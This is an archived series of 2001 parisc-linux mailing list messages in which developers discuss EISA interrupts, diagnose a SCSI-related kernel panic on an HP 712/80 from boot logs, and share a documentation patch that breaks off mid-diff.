From: Richard Hirst <rhirst@linuxcare.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] EISA support
Date: Fri, 12 Oct 2001 10:01:49 +0100
Lines: 25
Approved: news@gmane.org
Message-ID: <20011012100149.Q11105@linuxcare.com>
References: <20011010072441.B24923@parcelfarce.linux.theplanet.co.uk> <20011012074449.E25868@parcelfarce.linux.theplanet.co.uk> <20011012094719.P11105@linuxcare.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620614 27853 80.91.229.3 (22 Nov 2014 01:43:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:34 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 12 03:00:59 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from rhirst.linuxcare.com (pc1-hems4-0-cust107.bre.cable.ntl.com [213.105.88.107])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5B927482A
	for <parisc-linux@parisc-linux.org>; Fri, 12 Oct 2001 03:00:59 -0600 (MDT)
Original-Received: by rhirst.linuxcare.com (Postfix, from userid 501)
	id 56F58B00C; Fri, 12 Oct 2001 10:01:49 +0100 (BST)
X-Mailer: Mutt 1.0us
In-Reply-To: <20011012094719.P11105@linuxcare.com>; from rhirst@linuxcare.com on Fri, Oct 12, 2001 at 09:47:19AM +0100
Xref: news.gmane.org gmane.linux.ports.parisc:12610

On Fri, Oct 12, 2001 at 09:47:19AM +0100, Richard Hirst wrote:
> On Fri, Oct 12, 2001 at 07:44:49AM +0100, Matthew Wilcox wrote:
> > 
> > OK, just committed 2.4.9-pa49 which makes my hp100 EISA card work:
> > 
> > 64 bytes from 15.1.50.0: icmp_seq=1 ttl=255 time=0.5 ms
> > 
> > Haven't made any effort to support busmastering cards yet, but having
> > ioports, iomem & interrupts working should allow most cards to function.
> 
> Still can't get any interrupts out of my EISA scsi card in 715/75.

I tried adding a handler for irq 81 (64 + 17), as you said that was
asp error, at the end of asp_init_chip().

        request_irq(81, asp_error, 0, "asp error", asp);

That handler gets called as soon as it is registered.  Is it likely that
EISA interrupts are blocked until that error is cleared down somehow?

Richard





From - Thu Nov 08 21:19:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Kernel panic with -pa48
Date: Fri, 12 Oct 2001 17:03:36 +0200 (CEST)
Lines: 25
Approved: news@gmane.org
Message-ID: <1002899016.3bc70648db602@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620614 27854 80.91.229.3 (22 Nov 2014 01:43:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:34 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Grant Grundler <grundler@puffin.external.hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 12 09:03:42 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id B2232482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Oct 2001 09:03:41 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 15s3qa-00021f-00; Fri, 12 Oct 2001 17:03:36 +0200
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Xref: news.gmane.org gmane.linux.ports.parisc:12611

Hi Grant,

I met following problem with pa48 (on a 712/80):

...
VFS: Cannot open root device "sda3" or "08:03"
Please append a correct "root=" boot option
Kernel panic: vfs Unable to mount root fs on "08:03"

(I check if the fs is still correct. And I can still boot with 2.4.9-pa45.
So it could not any more recognise ext2fs)

Is it in relation with your mail:
http://lists.parisc-linux.org/pipermail/parisc-linux/2001-October/014100.html

Thanks in adavance for advice,
        joel

PS: I had the same problem with or without LASI700 support

-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)




From - Thu Nov 08 21:19:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel panic with -pa48
Date: Fri, 12 Oct 2001 16:27:22 +0100
Lines: 42
Approved: news@gmane.org
Message-ID: <20011012162722.C14205@parcelfarce.linux.theplanet.co.uk>
References: <1002899016.3bc70648db602@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620615 27856 80.91.229.3 (22 Nov 2014 01:43:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:35 +0000 (UTC)
Cc: Grant Grundler <grundler@puffin.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 12 09:27:30 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4396A482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Oct 2001 09:27:29 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15s4Da-0005Sa-00; Fri, 12 Oct 2001 16:27:22 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <1002899016.3bc70648db602@webmail.tiscalinet.be>; from joel.soete@freebel.net on Fri, Oct 12, 2001 at 05:03:36PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12612

On Fri, Oct 12, 2001 at 05:03:36PM +0200, joel.soete@freebel.net wrote:
> I met following problem with pa48 (on a 712/80):
> 
> ...
> VFS: Cannot open root device "sda3" or "08:03"
> Please append a correct "root=" boot option
> Kernel panic: vfs Unable to mount root fs on "08:03"
> 
> (I check if the fs is still correct. And I can still boot with 2.4.9-pa45.
> So it could not any more recognise ext2fs)

Umm.. I doubt your diagnosis is correct.  Can you send your kernel messages
that pertain to SCSI?  I have a 712/80 here which boots -pa48 just fine.

Linux 15.1.54.8 2.4.9-pa48 #125 Thu Oct 11 20:55:54 MDT 2001 parisc unknown

SCSI subsystem driver Revision: 1.00
53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
scsi0: 53c710 rev 2
scsi0 : LASI SCSI 53c700
scsi0: (6:0) Synchronous at offset 8, period 100ns
  Vendor: SEAGATE   Model: ST31230N          Rev: HP04
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
scsi0: (6:0) Enabling Tag Command Queuing
SCSI device sda: 2051460 512-byte hdwr sectors (1050 MB)
Partition check:
 sda: sda1 sda2

I can fsck, mount sda2 without any trouble.

> Is it in relation with your mail:
> http://lists.parisc-linux.org/pipermail/parisc-linux/2001-October/014100.html

No, that's to do with SuperIO on B1000 - J7000 workstations.  Plus,
-pa48 fixed that problem :-)

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel panic with -pa48
Date: Fri, 12 Oct 2001 17:53:56 +0200 (CEST)
Lines: 91
Approved: news@gmane.org
Message-ID: <1002902036.3bc712146327e@webmail.tiscalinet.be>
References: <1002899016.3bc70648db602@webmail.tiscalinet.be> <20011012162722.C14205@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620615 27860 80.91.229.3 (22 Nov 2014 01:43:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:35 +0000 (UTC)
Cc: joel.soete@freebel.net,
	Grant Grundler <grundler@puffin.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 12 09:54:11 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail1.tiscali.be [212.35.2.121])
	by dsl2.external.hp.com (Postfix) with ESMTP id 3AC7D482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Oct 2001 09:54:11 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 15s4dI-0002UH-00; Fri, 12 Oct 2001 17:53:56 +0200
In-Reply-To: <20011012162722.C14205@parcelfarce.linux.theplanet.co.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Xref: news.gmane.org gmane.linux.ports.parisc:12613

Here is my kernel messages that pertain to SCSI (with pa42, sorry I have to made
some place):

Oct 12 15:42:52 palinux2 kernel: SCSI subsystem driver Revision: 1.00
Oct 12 15:42:52 palinux2 kernel: sim700: Configuring 53c710 (SCSI-ID 7) at
f0106100, IRQ 86, options 0
Oct 12 15:42:52 palinux2 kernel: scsi0: Revision 0x2
Oct 12 15:42:52 palinux2 kernel: scsi0: test 1 completed ok.
Oct 12 15:42:52 palinux2 kernel: scsi0 : LASI/Simple 53c7xx
Oct 12 15:42:52 palinux2 kernel:   Vendor: SEAGATE   Model: ST34572N         
Rev: HP03
Oct 12 15:42:52 palinux2 kernel:   Type:   Direct-Access                     
ANSI SCSI revision: 02
Oct 12 15:42:52 palinux2 kernel:   Vendor: HP        Model: C3325A           
Rev: HP08
Oct 12 15:42:52 palinux2 kernel:   Type:   Direct-Access                     
ANSI SCSI revision: 02
Oct 12 15:42:52 palinux2 kernel: Attached scsi disk sda at scsi0, channel 0, id
3, lun 0
Oct 12 15:42:52 palinux2 kernel: Attached scsi disk sdb at scsi0, channel 0, id
6, lun 0
Oct 12 15:42:52 palinux2 kernel: SCSI device sda: 8388314 512-byte hdwr sectors
(4295 MB)
Oct 12 15:42:52 palinux2 kernel: Partition check:
Oct 12 15:42:52 palinux2 kernel:  sda: sda1 sda2 sda3 sda4 < sda5 sda6 >
Oct 12 15:42:52 palinux2 kernel: SCSI device sdb: 4194685 512-byte hdwr sectors
(2148 MB)
Oct 12 15:42:52 palinux2 kernel:  sdb: unknown partition table
Oct 12 15:42:52 palinux2 kernel: Lasi Harmony Audio rev. 18 at 0xf0104000, using
IRQ 82

Is it enough help?

        joel


Quoting Matthew Wilcox <willy@debian.org>:

> On Fri, Oct 12, 2001 at 05:03:36PM +0200, joel.soete@freebel.net wrote:
> > I met following problem with pa48 (on a 712/80):
> > 
> > ...
> > VFS: Cannot open root device "sda3" or "08:03"
> > Please append a correct "root=" boot option
> > Kernel panic: vfs Unable to mount root fs on "08:03"
> > 
> > (I check if the fs is still correct. And I can still boot with
> 2.4.9-pa45.
> > So it could not any more recognise ext2fs)
> 
> Umm.. I doubt your diagnosis is correct.  Can you send your kernel
> messages
> that pertain to SCSI?  I have a 712/80 here which boots -pa48 just
> fine.
> 
> Linux 15.1.54.8 2.4.9-pa48 #125 Thu Oct 11 20:55:54 MDT 2001 parisc
> unknown
> 
> SCSI subsystem driver Revision: 1.00
> 53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
> scsi0: 53c710 rev 2
> scsi0 : LASI SCSI 53c700
> scsi0: (6:0) Synchronous at offset 8, period 100ns
>   Vendor: SEAGATE   Model: ST31230N          Rev: HP04
>   Type:   Direct-Access                      ANSI SCSI revision: 02
> Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
> scsi0: (6:0) Enabling Tag Command Queuing
> SCSI device sda: 2051460 512-byte hdwr sectors (1050 MB)
> Partition check:
>  sda: sda1 sda2
> 
> I can fsck, mount sda2 without any trouble.
> 
> > Is it in relation with your mail:
> >
> http://lists.parisc-linux.org/pipermail/parisc-linux/2001-October/014100.html
> 
> No, that's to do with SuperIO on B1000 - J7000 workstations.  Plus,
> -pa48 fixed that problem :-)
> 
> -- 
> Revolutions do not require corporate support.
> 
> 


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)




From - Thu Nov 08 21:19:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: joel.soete@freebel.net
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel panic with -pa48
Date: Fri, 12 Oct 2001 19:42:15 +0200 (CEST)
Lines: 126
Approved: news@gmane.org
Message-ID: <1002908535.3bc72b77e40fd@webmail.tiscalinet.be>
References: <1002899016.3bc70648db602@webmail.tiscalinet.be> <20011012162722.C14205@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416620615 27862 80.91.229.3 (22 Nov 2014 01:43:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:35 +0000 (UTC)
Cc: joel.soete@freebel.net,
	Grant Grundler <grundler@puffin.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 12 11:42:24 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from webmail.tiscalinet.be (webmail2.tiscali.be [212.35.2.201])
	by dsl2.external.hp.com (Postfix) with ESMTP id 86DFF482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Oct 2001 11:42:23 -0600 (MDT)
Original-Received: from www-data by webmail.tiscalinet.be with local (Tiscali) 
	id 15s6K7-0007hZ-00; Fri, 12 Oct 2001 19:42:15 +0200
In-Reply-To: <20011012162722.C14205@parcelfarce.linux.theplanet.co.uk>
User-Agent: IMP/PHP IMAP webmail program 2.2.4
X-Originating-IP: 193.75.200.2
Xref: news.gmane.org gmane.linux.ports.parisc:12614

Hi Matt,

Just co -pa49 and boot again but strange behaviour (as with pa45).
Here the SCSI kernel messages:

>>> it tacks a long time (15s) before displaying the LOGO
....
Oct 12 17:22:34 palinux2 kernel: SCSI subsystem driver Revision: 1.00
Oct 12 17:22:34 palinux2 kernel: 53c700: Version 2.6 By
James.Bottomley@HansenPartnership.com
Oct 12 17:22:34 palinux2 kernel: scsi0: 53c710 rev 2
Oct 12 17:22:34 palinux2 kernel: scsi0 : LASI SCSI 53c700
Oct 12 17:22:34 palinux2 kernel: scsi0: (3:0) Synchronous at offset 8, period 100ns
Oct 12 17:22:34 palinux2 kernel:   Vendor: SEAGATE   Model: ST34572N         
Rev: HP03
Oct 12 17:22:34 palinux2 kernel:   Type:   Direct-Access                     
ANSI SCSI revision: 02
Oct 12 17:22:34 palinux2 kernel: scsi0: (6:0) Synchronous at offset 8, period 100ns
Oct 12 17:22:34 palinux2 kernel: scsi0 (6:0) New error handler wants to abort
command
Oct 12 17:22:34 palinux2 kernel: ^I0x12 00 00 00 ff 00
Oct 12 17:22:34 palinux2 kernel: scsi0 (6:0) New error handler wants device reset
Oct 12 17:22:34 palinux2 kernel: ^I0x12 00 00 00 ff 00
Oct 12 17:22:34 palinux2 kernel: scsi0 (6:0) New error handler wants BUS reset,
cmd 1006e800
Oct 12 17:22:34 palinux2 kernel: ^I0x12 00 00 00 ff 00
Oct 12 17:22:34 palinux2 kernel: scsi0: Bus Reset detected, executing command
1006e800, slot 00010520, dsp 00070528[0528]
Oct 12 17:22:34 palinux2 kernel:  failing command because of reset, slot
00010520, cmnd 1006e800
Oct 12 17:22:34 palinux2 kernel: scsi0: (6:0) Synchronous at offset 8, period 100ns
Oct 12 17:22:34 palinux2 kernel: scsi0 (6:0) New error handler wants to abort
command
Oct 12 17:22:34 palinux2 kernel: ^I0x03 00 00 00 40 00
Oct 12 17:22:34 palinux2 kernel: scsi: device set offline - not ready or command
retry failed after bus reset: host 0 chan
nel 0 id 6 lun 0

>>> here it takes a long time (about 30 seconds) before continuing?


Oct 12 17:22:34 palinux2 kernel: Attached scsi disk sda at scsi0, channel 0, id
3, lun 0
Oct 12 17:22:34 palinux2 kernel: scsi0: (3:0) Enabling Tag Command Queuing
Oct 12 17:22:34 palinux2 kernel: scsi0 (3:0) New error handler wants to abort
command
Oct 12 17:22:34 palinux2 kernel: ^I0x00 00 00 00 00 00
Oct 12 17:22:34 palinux2 kernel: scsi0: Bus Reset detected, executing command
1006e800, slot 00010520, dsp 00070528[0528]
Oct 12 17:22:34 palinux2 kernel:  failing command because of reset, slot
00010520, cmnd 1006e800
Oct 12 17:22:34 palinux2 kernel:  failing command because of reset, slot
00010654, cmnd 1005e800
Oct 12 17:22:34 palinux2 kernel: scsi0 (3:0) New error handler wants device reset
Oct 12 17:22:34 palinux2 kernel: ^I0x00 00 00 00 00 00
Oct 12 17:22:34 palinux2 kernel: scsi0 (3:0) New error handler wants BUS reset,
cmd 1005e800
Oct 12 17:22:34 palinux2 kernel: ^I0x00 00 00 00 00 00
Oct 12 17:22:34 palinux2 kernel: scsi0: Bus Reset detected, executing command
00000000, slot 00000000, dsp 00070528[0528]
Oct 12 17:22:34 palinux2 kernel: scsi0: (3:0) Synchronous at offset 8, period 100ns
Oct 12 17:22:34 palinux2 kernel: SCSI device sda: 8388314 512-byte hdwr sectors
(4295 MB)
Oct 12 17:22:34 palinux2 kernel: Partition check:
Oct 12 17:22:34 palinux2 kernel:  sda: sda1 sda2 sda3 sda4 < sda5 sda6 >

I hope it will be more helpfull.
      joel

PS: Now I have to leave office. Have a nice week-end.

Quoting Matthew Wilcox <willy@debian.org>:

> On Fri, Oct 12, 2001 at 05:03:36PM +0200, joel.soete@freebel.net wrote:
> > I met following problem with pa48 (on a 712/80):
> > 
> > ...
> > VFS: Cannot open root device "sda3" or "08:03"
> > Please append a correct "root=" boot option
> > Kernel panic: vfs Unable to mount root fs on "08:03"
> > 
> > (I check if the fs is still correct. And I can still boot with
> 2.4.9-pa45.
> > So it could not any more recognise ext2fs)
> 
> Umm.. I doubt your diagnosis is correct.  Can you send your kernel
> messages
> that pertain to SCSI?  I have a 712/80 here which boots -pa48 just
> fine.
> 
> Linux 15.1.54.8 2.4.9-pa48 #125 Thu Oct 11 20:55:54 MDT 2001 parisc
> unknown
> 
> SCSI subsystem driver Revision: 1.00
> 53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
> scsi0: 53c710 rev 2
> scsi0 : LASI SCSI 53c700
> scsi0: (6:0) Synchronous at offset 8, period 100ns
>   Vendor: SEAGATE   Model: ST31230N          Rev: HP04
>   Type:   Direct-Access                      ANSI SCSI revision: 02
> Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
> scsi0: (6:0) Enabling Tag Command Queuing
> SCSI device sda: 2051460 512-byte hdwr sectors (1050 MB)
> Partition check:
>  sda: sda1 sda2
> 
> I can fsck, mount sda2 without any trouble.
> 
> > Is it in relation with your mail:
> >
> http://lists.parisc-linux.org/pipermail/parisc-linux/2001-October/014100.html
> 
> No, that's to do with SuperIO on B1000 - J7000 workstations.  Plus,
> -pa48 fixed that problem :-)
> 
> -- 
> Revolutions do not require corporate support.
> 
> 


-------------------------------------------------
This mail sent through Tiscalinet Webmail (http://webmail.tiscali.be)




From - Thu Nov 08 21:19:51 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel panic with -pa48
Date: Fri, 12 Oct 2001 18:49:53 +0100
Lines: 24
Approved: news@gmane.org
Message-ID: <20011012184953.F25868@parcelfarce.linux.theplanet.co.uk>
References: <1002899016.3bc70648db602@webmail.tiscalinet.be> <20011012162722.C14205@parcelfarce.linux.theplanet.co.uk> <1002908535.3bc72b77e40fd@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620616 27867 80.91.229.3 (22 Nov 2014 01:43:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:36 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Grant Grundler <grundler@puffin.external.hp.com>,
	parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 12 11:49:56 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7533D482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Oct 2001 11:49:55 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15s6RV-0007RY-00; Fri, 12 Oct 2001 18:49:53 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <1002908535.3bc72b77e40fd@webmail.tiscalinet.be>; from joel.soete@freebel.net on Fri, Oct 12, 2001 at 07:42:15PM +0200
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:12615

On Fri, Oct 12, 2001 at 07:42:15PM +0200, joel.soete@freebel.net wrote:
> Oct 12 17:22:34 palinux2 kernel: scsi0: (6:0) Synchronous at offset 8, period 100ns
> Oct 12 17:22:34 palinux2 kernel: scsi0 (6:0) New error handler wants to abort
> command
> Oct 12 17:22:34 palinux2 kernel: ^I0x12 00 00 00 ff 00
> Oct 12 17:22:34 palinux2 kernel: scsi0 (6:0) New error handler wants device reset
> Oct 12 17:22:34 palinux2 kernel: ^I0x12 00 00 00 ff 00
> Oct 12 17:22:34 palinux2 kernel: scsi0 (6:0) New error handler wants BUS reset,
> cmd 1006e800
> Oct 12 17:22:34 palinux2 kernel: ^I0x12 00 00 00 ff 00
> Oct 12 17:22:34 palinux2 kernel: scsi0: Bus Reset detected, executing command
> 1006e800, slot 00010520, dsp 00070528[0528]
> Oct 12 17:22:34 palinux2 kernel:  failing command because of reset, slot
> 00010520, cmnd 1006e800

Last time I saw output like this was on a machine whose disc was making
very painful noises as it attempted to spin up.  Could this be the case
for your machine?

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:19:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@puffin.external.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Re: Kernel panic with -pa48
Date: Fri, 12 Oct 2001 12:46:39 -0600
Lines: 14
Approved: news@gmane.org
Message-ID: <200110121846.MAA08138@puffin.external.hp.com>
References: <1002899016.3bc70648db602@webmail.tiscalinet.be>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620616 27869 80.91.229.3 (22 Nov 2014 01:43:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:36 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: joel.soete@freebel.net
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 12 12:50:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from puffin.external.hp.com (puffin.external.hp.com [192.25.206.4])
	by dsl2.external.hp.com (Postfix) with ESMTP id 66989482A
	for <parisc-linux@lists.parisc-linux.org>; Fri, 12 Oct 2001 12:50:25 -0600 (MDT)
Original-Received: from puffin (IDENT:grundler@localhost [127.0.0.1])
	by puffin.external.hp.com (8.9.3/8.9.3) with ESMTP id MAA08138;
	Fri, 12 Oct 2001 12:46:39 -0600
In-Reply-To: Message from joel.soete@freebel.net 
   of "Fri, 12 Oct 2001 17:03:36 +0200." <1002899016.3bc70648db602@webmail.tiscalinet.be> 
Xref: news.gmane.org gmane.linux.ports.parisc:12616

joel.soete@freebel.net wrote:
> Hi Grant,
> 
> I met following problem with pa48 (on a 712/80):

You might try -pa49.
712/80 doesn't have eisa either.
But I don't expect any devices on 712 to care which HBA they live under
since they are all "GSC" (mostly under LASI) devices.

grant




From - Thu Nov 08 21:19:51 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thomas Marteau <marteaut@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Update
Date: Sat, 13 Oct 2001 02:14:44 +0200
Lines: 220
Approved: news@gmane.org
Message-ID: <3BC78774.27A63CD7@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------26A9B85DFCB537BD6F5E9A14"
X-Trace: ger.gmane.org 1416620616 27871 80.91.229.3 (22 Nov 2014 01:43:36 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:43:36 +0000 (UTC)
To: "parisc-linux@parisc-linux.org" <parisc-linux@parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Oct 12 18:21:26 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id ABD324838
	for <parisc-linux@parisc-linux.org>; Fri, 12 Oct 2001 18:21:25 -0600 (MDT)
Original-Received: from esiee.fr (pc213g.esiee.fr [147.215.80.169])
	by mail.esiee.fr (Postfix) with ESMTP id 92B2ED15B2
	for <parisc-linux@parisc-linux.org>; Sat, 13 Oct 2001 02:21:13 +0200 (CEST)
Original-Sender: marteaut@esiee.fr
X-Mailer: Mozilla 4.77 [en] (X11; U; Linux 2.2.19 i686)
X-Accept-Language: fr, en
Xref: news.gmane.org gmane.linux.ports.parisc:12617

This is a multi-part message in MIME format.
--------------26A9B85DFCB537BD6F5E9A14
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

Hi all,

	Since September, PA/Linux improves a lot thanks to all the development
and to all the users reporting their troubles with the kernel. We are
trying to update the whole website including the manuals and more
important the list of boxes and the PA/Linux status for each of them. It
will be great if you could check that our inforamtion is true according
your experience :)

	I update also the parisc-linux-boot-HOWTO and put it to 0.7 step. Once
again, I hope that you can spend a little time in order to tell me if
you are satisfied of the content.

	Also, I take advantage of this mail to post another revision of hppa
configuration.help file.

Thanks for reading, Thomas.
ESIEE Team.
--------------26A9B85DFCB537BD6F5E9A14
Content-Type: text/plain; charset=us-ascii;
 name="config.help.patch"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="config.help.patch"

diff -Nru linux/Documentation/Configure.help linux.new/Documentation/Configure.help
--- linux/Documentation/Configure.help	Fri Aug 17 08:09:10 2001
+++ linux.new/Documentation/Configure.help	Sat Oct 13 01:49:26 2001
@@ -3059,9 +3059,9 @@
   Saying Y here will allow developers with a C180, C200, C240, C360,
   J200, J210, and/or a J2240 to test 64-bit kernels by providing 
   a wrapper for the 32-bit PDC calls.  Since the machines which 
-  which require this option do not support over 4G of RAM, this
-  option is targeted for developers of these machines wishing to
-  test changes on both 32-bit and 64-bit configurations.
+  require this option do not support over 4G of RAM, this option is 
+  targeted for developers of these machines wishing to test changes 
+  on both 32-bit and 64-bit configurations.
 
   If unsure, say N.
 
@@ -13267,11 +13267,11 @@
   cases where it is seen on PC/MAC architectures as well, usually also
   manufactured by HP.  This driver is based off MACH and BSD drivers,
   and implements support for a keyboard attached to the HIL port.
-  Full support for the USB-like functions and non-keyboard channels of the
-  HIL is not provided for in this driver.  There are vestiges of mouse
-  support in the driver, but it is probably not working.  The necessary
-  hardware documentation to fully support the HIL controller and interface
-  it to the linux-input API is lacking.
+  Full support for the USB-like functions and non-keyboard channels of 
+  the HIL is not provided for in this driver.  There are vestiges of 
+  mouse support in the driver, but it is probably not working.  The 
+  necessary hardware documentation to fully support the HIL controller 
+  and interface it to the linux-input API is lacking.
 
   Enable this option if you intend to use a HIL keyboard.
 
@@ -18525,6 +18525,150 @@
 
   To use this option, you have to check that the "/proc file system
   support" (CONFIG_PROC_FS) is enabled, too.
+
+Processor family
